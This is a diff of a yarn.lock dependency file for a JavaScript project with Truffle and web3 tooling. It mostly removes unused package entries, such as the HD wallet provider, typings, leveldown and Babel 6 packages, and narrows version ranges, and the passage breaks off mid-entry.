-"@truffle/contract-schema@^3.4.10", "@truffle/contract-schema@^3.4.7": +"@truffle/contract-schema@^3.4.10": version "3.4.10" resolved "https://registry.npmjs.org/@truffle/contract-schema/-/contract-schema-3.4.10.tgz" integrity sha512-BhRNRoRvlj2th6E5RNS0BnS0ZxQe01JJz8I7MjkGqdeXSvrn6qDCAnbmvhNgUv0l5h8w5+gBOQhAJhILf1shdQ== @@ -2708,7 +2182,7 @@ ajv "^6.10.0" debug "^4.3.1" -"@truffle/contract@^4.0.35", "@truffle/contract@^4.3.15", "@truffle/contract@^4.3.26": +"@truffle/contract@^4.3.15": version "4.6.6" resolved "https://registry.npmjs.org/@truffle/contract/-/contract-4.6.6.tgz" integrity sha512-8pOlT+V2F9edYx/3qjYHtHPfVqwMSL+Puw6/7fY8mdy9UtlYNWiSCHK4DyvqsS01zRxExNfA9fMJC73IIlTQBw== @@ -2728,7 +2202,7 @@ web3-eth-abi "1.7.4" web3-utils "1.7.4" -"@truffle/debug-utils@^6.0.22", "@truffle/debug-utils@^6.0.39": +"@truffle/debug-utils@^6.0.39": version "6.0.39" resolved "https://registry.npmjs.org/@truffle/debug-utils/-/debug-utils-6.0.39.tgz" integrity sha512-g89ZAeywWldEEAS+yonjXcgiJUxEQzLQqRGIrVEMiVI9/B8U7A7KBgnLWqew7LtQfo1h1iifUM0aOt4mKrYicQ== @@ -2740,37 +2214,12 @@ debug "^4.3.1" highlightjs-solidity "^2.0.5" -"@truffle/error@^0.1.0", "@truffle/error@^0.1.1": +"@truffle/error@^0.1.1": version "0.1.1" resolved "https://registry.npmjs.org/@truffle/error/-/error-0.1.1.tgz" integrity sha512-sE7c9IHIGdbK4YayH4BC8i8qMjoAOeg6nUXUDZZp8wlU21/EMpaG+CLx+KqcIPyR+GSWIW3Dm0PXkr2nlggFDA== -"@truffle/hdwallet-provider@^2.0.0": - version "2.1.1" - resolved "https://registry.npmjs.org/@truffle/hdwallet-provider/-/hdwallet-provider-2.1.1.tgz" - integrity sha512-fz7dLJF6f84fQVrMhmVvtzYXwsn4O1kXIrAldEBp7Qa11Wx1P4sGTec0yx9FhCD07SXxduwvZkq7eyHcw/3i5Q== - dependencies: - "@ethereumjs/common" "^2.4.0" - "@ethereumjs/tx" "^3.3.0" - "@metamask/eth-sig-util" "4.0.1" - "@truffle/hdwallet" "^0.1.0" - "@types/web3" "^1.0.20" - ethereum-cryptography "1.1.2" - ethereum-protocol "^1.0.1" - ethereumjs-util "^7.1.5" - web3 "1.7.4" - web3-provider-engine "16.0.3" - -"@truffle/hdwallet@^0.1.0": - version "0.1.0" - resolved "https://registry.npmjs.org/@truffle/hdwallet/-/hdwallet-0.1.0.tgz" - integrity sha512-tRqx7Kn5SbQoe56S5pWrIN3/aM9YMK2bFR8iD5gHGv6uXHRCL7b+PkeI1gyKk09SRWkY11YjRw+Up/V0x6tw6A== - dependencies: - ethereum-cryptography "1.1.2" - keccak "3.0.2" - secp256k1 "4.0.3" - -"@truffle/interface-adapter@^0.5.16", "@truffle/interface-adapter@^0.5.24": +"@truffle/interface-adapter@^0.5.24": version "0.5.24" resolved "https://registry.npmjs.org/@truffle/interface-adapter/-/interface-adapter-0.5.24.tgz" integrity sha512-c4nFMnzSuE//xUd16CDc7mjx1NVe5kEDoid/utsma5JPg+AxnOkD4j1QGl7xMqCwQVARLF53FfQzt4DFmZcznQ== @@ -2793,18 +2242,6 @@ strip-ansi "^4.0.0" strip-indent "^2.0.0" -"@typechain/ethers-v5@^2.0.0": - version "2.0.0" - resolved "https://registry.npmjs.org/@typechain/ethers-v5/-/ethers-v5-2.0.0.tgz" - integrity sha512-0xdCkyGOzdqh4h5JSf+zoWx85IusEjDcPIwNEHP8mrWSnCae4rvrqB+/gtpdNfX7zjlFlZiMeePn2r63EI3Lrw== - dependencies: - ethers "^5.0.2" - -"@types/async-eventemitter@^0.2.1": - version "0.2.1" - resolved "https://registry.npmjs.org/@types/async-eventemitter/-/async-eventemitter-0.2.1.tgz" - integrity sha512-M2P4Ng26QbAeITiH7w1d7OxtldgfAe0wobpyJzVK/XOb0cUGKU2R4pfAhqcJBXAe2ife5ZOhSv4wk7p+ffURtg== - "@types/babel__core@^7.0.0", "@types/babel__core@^7.1.7": version "7.1.20" resolved "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.20.tgz" @@ -2838,20 +2275,6 @@ dependencies: "@babel/types" "^7.3.0" -"@types/bignumber.js@^5.0.0": - version "5.0.0" - resolved "https://registry.yarnpkg.com/@types/bignumber.js/-/bignumber.js-5.0.0.tgz#d9f1a378509f3010a3255e9cc822ad0eeb4ab969" - integrity sha512-0DH7aPGCClywOFaxxjE6UwpN2kQYe9LwuDQMv+zYA97j5GkOMo8e66LYT+a8JYU7jfmUFRZLa9KycxHDsKXJCA== - dependencies: - bignumber.js "*" - -"@types/bn.js@^4.11.3", "@types/bn.js@^4.11.5": - version "4.11.6" - resolved "https://registry.npmjs.org/@types/bn.js/-/bn.js-4.11.6.tgz" - integrity sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg== - dependencies: - "@types/node" "*" - "@types/bn.js@^5.1.0": version "5.1.1" resolved "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.1.tgz" @@ -2869,18 +2292,6 @@ "@types/node" "*" "@types/responselike" "^1.0.0" -"@types/chai@^4.2.0": - version "4.3.4" - resolved "https://registry.npmjs.org/@types/chai/-/chai-4.3.4.tgz" - integrity sha512-KnRanxnpfpjUTqTCXslZSEdLfXExwgNxYPdiO2WGUj8+HDjFi8R3k5RVKPeSCzLjCcshCAtVO2QBbVuAV4kTnw== - -"@types/concat-stream@^1.6.0": - version "1.6.1" - resolved "https://registry.npmjs.org/@types/concat-stream/-/concat-stream-1.6.1.tgz" - integrity sha512-eHE4cQPoj6ngxBZMvVf6Hw7Mh4jMW4U9lpGmS5GBPB9RYxlFg+CHaVN7ErNY4W9XfLIEn20b4VDYaIrbq0q4uA== - dependencies: - "@types/node" "*" - "@types/debug@^4.0.0": version "4.1.7" resolved "https://registry.npmjs.org/@types/debug/-/debug-4.1.7.tgz" @@ -2906,13 +2317,6 @@ resolved "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz" integrity sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw== -"@types/form-data@0.0.33": - version "0.0.33" - resolved "https://registry.npmjs.org/@types/form-data/-/form-data-0.0.33.tgz" - integrity sha512-8BSvG1kGm83cyJITQMZSulnl6QV8jqAGreJsc5tPu1Jq0vTSOiY/k24Wx82JRpWwZSqrala6sd5rWi6aNXvqcw== - dependencies: - "@types/node" "*" - "@types/glob@^7.1.1": version "7.2.0" resolved "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz" @@ -2989,11 +2393,6 @@ dependencies: "@types/node" "*" -"@types/lru-cache@^5.1.0": - version "5.1.1" - resolved "https://registry.npmjs.org/@types/lru-cache/-/lru-cache-5.1.1.tgz" - integrity sha512-ssE3Vlrys7sdIzs5LOxCzTVMsU7i9oa/IaW92wF32JFb3CVczqOkru2xspuKczHEbG3nvmPY7IFqVmGGHdNbYw== - "@types/mdast@^3.0.0": version "3.0.10" resolved "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz" @@ -3006,46 +2405,21 @@ resolved "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz" integrity sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA== -"@types/mkdirp@^0.5.2": - version "0.5.2" - resolved "https://registry.npmjs.org/@types/mkdirp/-/mkdirp-0.5.2.tgz" - integrity sha512-U5icWpv7YnZYGsN4/cmh3WD2onMY0aJIiTE6+51TwJCttdHvtCYmkBNOobHlXwrJRL0nkH9jH4kD+1FAdMN4Tg== - dependencies: - "@types/node" "*" - "@types/ms@*": version "0.7.31" resolved "https://registry.npmjs.org/@types/ms/-/ms-0.7.31.tgz" integrity sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA== -"@types/node-fetch@^2.5.5": - version "2.6.2" - resolved "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.6.2.tgz" - integrity sha512-DHqhlq5jeESLy19TYhLakJ07kNumXWjcDdxXsLUMJZ6ue8VZJj4kLPQVE/2mdHh3xZziNF1xppu5lwmS53HR+A== - dependencies: - "@types/node" "*" - form-data "^3.0.0" - "@types/node@*": version "18.11.9" resolved "https://registry.npmjs.org/@types/node/-/node-18.11.9.tgz" integrity sha512-CRpX21/kGdzjOpFsZSkcrXMGIBWMGNIHXXBVFSH+ggkftxg+XYP20TESbh+zFvFj3EQOl5byk0HTRn1IL6hbqg== -"@types/node@^10.0.3": - version "10.17.60" - resolved "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz" - integrity sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw== - "@types/node@^12.12.6": version "12.20.55" resolved "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz" integrity sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ== -"@types/node@^8.0.0": - version "8.10.66" - resolved "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz" - integrity sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw== - "@types/normalize-package-data@^2.4.0": version "2.4.1" resolved "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz" @@ -3063,7 +2437,7 @@ dependencies: "@types/node" "*" -"@types/prettier@^2.0.0", "@types/prettier@^2.1.1": +"@types/prettier@^2.0.0": version "2.7.1" resolved "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.1.tgz" integrity sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow== @@ -3078,11 +2452,6 @@ resolved "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz" integrity sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ== -"@types/qs@^6.2.31": - version "6.9.7" - resolved "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz" - integrity sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw== - "@types/react@*": version "18.0.25" resolved "https://registry.npmjs.org/@types/react/-/react-18.0.25.tgz" @@ -3092,7 +2461,7 @@ "@types/scheduler" "*" csstype "^3.0.2" -"@types/resolve@0.0.8", "@types/resolve@^0.0.8": +"@types/resolve@0.0.8": version "0.0.8" resolved "https://registry.npmjs.org/@types/resolve/-/resolve-0.0.8.tgz" integrity sha512-auApPaJf3NPfe18hSoJkp8EbZzer2ISk7o8mCC3M9he/a04+gbMF97NkpD2S8riMGvm4BMRI59/SZQSaLTKpsQ== @@ -3150,13 +2519,6 @@ resolved "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.3.tgz" integrity sha512-EwmlvuaxPNej9+T4v5AuBPJa2x2UOJVdjCtDHgcDqitUeOtjnJKJ+apYjVcAoBEMjKW1VVFGZLUb5+qqa09XFA== -"@types/web3@^1.0.20": - version "1.2.2" - resolved "https://registry.npmjs.org/@types/web3/-/web3-1.2.2.tgz" - integrity sha512-eFiYJKggNrOl0nsD+9cMh2MLk4zVBfXfGnVeRFbpiZzBE20eet4KLA3fXcjSuHaBn0RnQzwLAGdgzgzdet4C0A== - dependencies: - web3 "*" - "@types/webpack-sources@*": version "3.2.0" resolved "https://registry.npmjs.org/@types/webpack-sources/-/webpack-sources-3.2.0.tgz" @@ -3452,69 +2814,16 @@ resolved "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz" integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ== -"@yarnpkg/lockfile@^1.1.0": - version "1.1.0" - resolved "https://registry.npmjs.org/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz" - integrity sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ== - abab@^2.0.3, abab@^2.0.5: version "2.0.6" resolved "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz" integrity sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA== -abort-controller@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz" - integrity sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg== - dependencies: - event-target-shim "^5.0.0" - abortcontroller-polyfill@^1.7.3: version "1.7.5" resolved "https://registry.npmjs.org/abortcontroller-polyfill/-/abortcontroller-polyfill-1.7.5.tgz" integrity sha512-JMJ5soJWP18htbbxJjG7bG6yuI6pRhgJ0scHHTfkUjf6wjP912xZWvM+A4sJK3gqd9E8fcPbDnOefbA9Th/FIQ== -abstract-level@^1.0.0, abstract-level@^1.0.2, abstract-level@^1.0.3: - version "1.0.3" - resolved "https://registry.npmjs.org/abstract-level/-/abstract-level-1.0.3.tgz" - integrity sha512-t6jv+xHy+VYwc4xqZMn2Pa9DjcdzvzZmQGRjTFc8spIbRGHgBrEKbPq+rYXc7CCo0lxgYvSgKVg9qZAhpVQSjA== - dependencies: - buffer "^6.0.3" - catering "^2.1.0" - is-buffer "^2.0.5" - level-supports "^4.0.0" - level-transcoder "^1.0.1" - module-error "^1.0.1" - queue-microtask "^1.2.3" - -abstract-leveldown@3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-3.0.0.tgz" - integrity sha512-KUWx9UWGQD12zsmLNj64/pndaz4iJh/Pj7nopgkfDG6RlCcbMZvT6+9l7dchK4idog2Is8VdC/PvNbFuFmalIQ== - dependencies: - xtend "~4.0.0" - -abstract-leveldown@^2.4.1, abstract-leveldown@~2.7.1: - version "2.7.2" - resolved "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-2.7.2.tgz" - integrity sha512-+OVvxH2rHVEhWLdbudP6p0+dNMXu8JA1CbhP19T8paTYAcX7oJ4OVjT+ZUVpv7mITxXHqDMej+GdqXBmXkw09w== - dependencies: - xtend "~4.0.0" - -abstract-leveldown@^5.0.0, abstract-leveldown@~5.0.0: - version "5.0.0" - resolved "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-5.0.0.tgz" - integrity sha512-5mU5P1gXtsMIXg65/rsYGsi93+MlogXZ9FA8JnwKurHQg64bfXwGYVdVdijNTVNOlAsuIiOwHdvFFD5JqCJQ7A== - dependencies: - xtend "~4.0.0" - -abstract-leveldown@~2.6.0: - version "2.6.3" - resolved "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-2.6.3.tgz" - integrity sha512-2++wDf/DYqkPR3o5tbfdhF96EfMApo1GpPfzOsR/ZYXdkSmELlvOOEAl9iKkRsktMPHdGjO4rtkBpf2I7TiTeA== - dependencies: - xtend "~4.0.0" - accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.8: version "1.3.8" resolved "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz" @@ -3574,21 +2883,11 @@ adjust-sourcemap-loader@3.0.0: loader-utils "^2.0.0" regex-parser "^2.2.11" -adm-zip@^0.4.16: - version "0.4.16" - resolved "https://registry.npmjs.org/adm-zip/-/adm-zip-0.4.16.tgz" - integrity sha512-TFi4HBKSGfIKsK5YCkKaaFG2m4PEDyViZmEwof3MTIgzimHLto6muaHVpbrljdIvIrFZzEq/p4nafOeLcYegrg== - aes-js@3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/aes-js/-/aes-js-3.0.0.tgz" integrity sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw== -aes-js@^3.1.1: - version "3.1.2" - resolved "https://registry.npmjs.org/aes-js/-/aes-js-3.1.2.tgz" - integrity sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ== - agent-base@6: version "6.0.2" resolved "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz" @@ -3659,17 +2958,7 @@ alphanum-sort@^1.0.0: resolved "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz" integrity sha512-0FcBfdcmaumGPQ0qPn7Q5qTgz/ooXgIyp1rf8ik5bGX8mpE2YHjC0P/eyQvxu1GURYQgq9ozf2mteQ5ZD9YiyQ== -ansi-colors@3.2.3: - version "3.2.3" - resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz" - integrity sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw== - -ansi-colors@4.1.1: - version "4.1.1" - resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz" - integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA== - -ansi-colors@^3.0.0, ansi-colors@^3.2.3: +ansi-colors@^3.0.0: version "3.2.4" resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz" integrity sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA== @@ -3679,7 +2968,7 @@ ansi-colors@^4.1.1: resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz" integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw== -ansi-escapes@^4.2.1, ansi-escapes@^4.3.0, ansi-escapes@^4.3.1: +ansi-escapes@^4.2.1, ansi-escapes@^4.3.1: version "4.3.2" resolved "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz" integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ== @@ -3711,11 +3000,6 @@ ansi-regex@^5.0.0, ansi-regex@^5.0.1: resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz" integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== -ansi-styles@^2.2.1: - version "2.2.1" - resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz" - integrity sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA== - ansi-styles@^3.2.0, ansi-styles@^3.2.1: version "3.2.1" resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz" @@ -3730,11 +3014,6 @@ ansi-styles@^4.0.0, ansi-styles@^4.1.0: dependencies: color-convert "^2.0.1" -antlr4ts@^0.5.0-alpha.4: - version "0.5.0-alpha.4" - resolved "https://registry.npmjs.org/antlr4ts/-/antlr4ts-0.5.0-alpha.4.tgz" - integrity sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ== - anymatch@^2.0.0: version "2.0.0" resolved "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz" @@ -3743,7 +3022,7 @@ anymatch@^2.0.0: micromatch "^3.1.4" normalize-path "^2.1.1" -anymatch@^3.0.0, anymatch@^3.0.3, anymatch@~3.1.1, anymatch@~3.1.2: +anymatch@^3.0.0, anymatch@^3.0.3, anymatch@~3.1.2: version "3.1.2" resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz" integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg== @@ -3763,11 +3042,6 @@ argparse@^1.0.7: dependencies: sprintf-js "~1.0.2" -argparse@^2.0.1: - version "2.0.1" - resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz" - integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== - aria-query@^4.2.2: version "4.2.2" resolved "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz" @@ -3796,20 +3070,6 @@ arr-union@^3.1.0: resolved "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz" integrity sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q== -array-back@^1.0.3, array-back@^1.0.4: - version "1.0.4" - resolved "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz" - integrity sha512-1WxbZvrmyhkNoeYcizokbmh5oiOCIfyvGtcqbK3Ls1v1fKcquzxnQSceOx6tzq7jmai2kFLWIpGND2cLhH6TPw== - dependencies: - typical "^2.6.0" - -array-back@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz" - integrity sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw== - dependencies: - typical "^2.6.1" - array-flatten@1.1.1: version "1.1.1" resolved "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz" @@ -3843,7 +3103,7 @@ array-union@^2.1.0: resolved "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz" integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw== -array-uniq@1.0.3, array-uniq@^1.0.1: +array-uniq@^1.0.1: version "1.0.3" resolved "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz" integrity sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q== @@ -3924,11 +3184,6 @@ assert@^1.1.1: object-assign "^4.1.1" util "0.10.3" -assertion-error@^1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz" - integrity sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw== - assign-symbols@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz" @@ -3949,54 +3204,18 @@ async-each@^1.0.1: resolved "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz" integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ== -async-eventemitter@^0.2.2, async-eventemitter@^0.2.4: - version "0.2.4" - resolved "https://registry.npmjs.org/async-eventemitter/-/async-eventemitter-0.2.4.tgz" - integrity sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw== - dependencies: - async "^2.4.0" - async-limiter@~1.0.0: version "1.0.1" resolved "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz" integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ== -async-mutex@^0.2.6: - version "0.2.6" - resolved "https://registry.npmjs.org/async-mutex/-/async-mutex-0.2.6.tgz" - integrity sha512-Hs4R+4SPgamu6rSGW8C7cV9gaWUKEHykfzCCvIRuaVv636Ju10ZdeUbvb4TBEW0INuq2DHZqXbK4Nd3yG4RaRw== - dependencies: - tslib "^2.0.0" - -async@2.6.2: - version "2.6.2" - resolved "https://registry.npmjs.org/async/-/async-2.6.2.tgz" - integrity sha512-H1qVYh1MYhEEFLsP97cVKqCGo7KfCyTt6uEWqsTBr9SO84oK9Uwbyd/yCW+6rKJLHksBNUVWZDAjfS+Ccx0Bbg== - dependencies: - lodash "^4.17.11" - -async@3.2.3: - version "3.2.3" - resolved "https://registry.npmjs.org/async/-/async-3.2.3.tgz" - integrity sha512-spZRyzKL5l5BZQrr/6m/SqFdBN0q3OCI0f9rjfBzCMBIP4p75P620rR3gTmaksNOhmzgdxcaxdNfMy6anrbM0g== - -async@^1.4.2: - version "1.5.2" - resolved "https://registry.npmjs.org/async/-/async-1.5.2.tgz" - integrity sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w== - -async@^2.0.1, async@^2.1.2, async@^2.4.0, async@^2.5.0, async@^2.6.1, async@^2.6.4: +async@^2.6.4: version "2.6.4" resolved "https://registry.npmjs.org/async/-/async-2.6.4.tgz" integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA== dependencies: lodash "^4.17.14" -async@^3.2.3: - version "3.2.4" - resolved "https://registry.npmjs.org/async/-/async-3.2.4.tgz" - integrity sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ== - asynckit@^0.4.0: version "0.4.0" resolved "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz" @@ -4066,40 +3285,6 @@ axobject-query@^2.2.0: resolved "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz" integrity sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA== -babel-code-frame@^6.26.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz" - integrity sha512-XqYMR2dfdGMW+hd0IUZ2PwK+fGeFkOxZJ0wY+JaQAHzt1Zx8LcvpiZD2NiGkEG8qx0CfkAOr5xt76d1e8vG90g== - dependencies: - chalk "^1.1.3" - esutils "^2.0.2" - js-tokens "^3.0.2" - -babel-core@^6.0.14, babel-core@^6.26.0: - version "6.26.3" - resolved "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz" - integrity sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA== - dependencies: - babel-code-frame "^6.26.0" - babel-generator "^6.26.0" - babel-helpers "^6.24.1" - babel-messages "^6.23.0" - babel-register "^6.26.0" - babel-runtime "^6.26.0" - babel-template "^6.26.0" - babel-traverse "^6.26.0" - babel-types "^6.26.0" - babylon "^6.18.0" - convert-source-map "^1.5.1" - debug "^2.6.9" - json5 "^0.5.1" - lodash "^4.17.4" - minimatch "^3.0.4" - path-is-absolute "^1.0.1" - private "^0.1.8" - slash "^1.0.0" - source-map "^0.5.7" - babel-eslint@^10.1.0: version "10.1.0" resolved "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz" @@ -4119,133 +3304,6 @@ babel-extract-comments@^1.0.0: dependencies: babylon "^6.18.0" -babel-generator@^6.26.0: - version "6.26.1" - resolved "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz" - integrity sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA== - dependencies: - babel-messages "^6.23.0" - babel-runtime "^6.26.0" - babel-types "^6.26.0" - detect-indent "^4.0.0" - jsesc "^1.3.0" - lodash "^4.17.4" - source-map "^0.5.7" - trim-right "^1.0.1" - -babel-helper-builder-binary-assignment-operator-visitor@^6.24.1: - version "6.24.1" - resolved 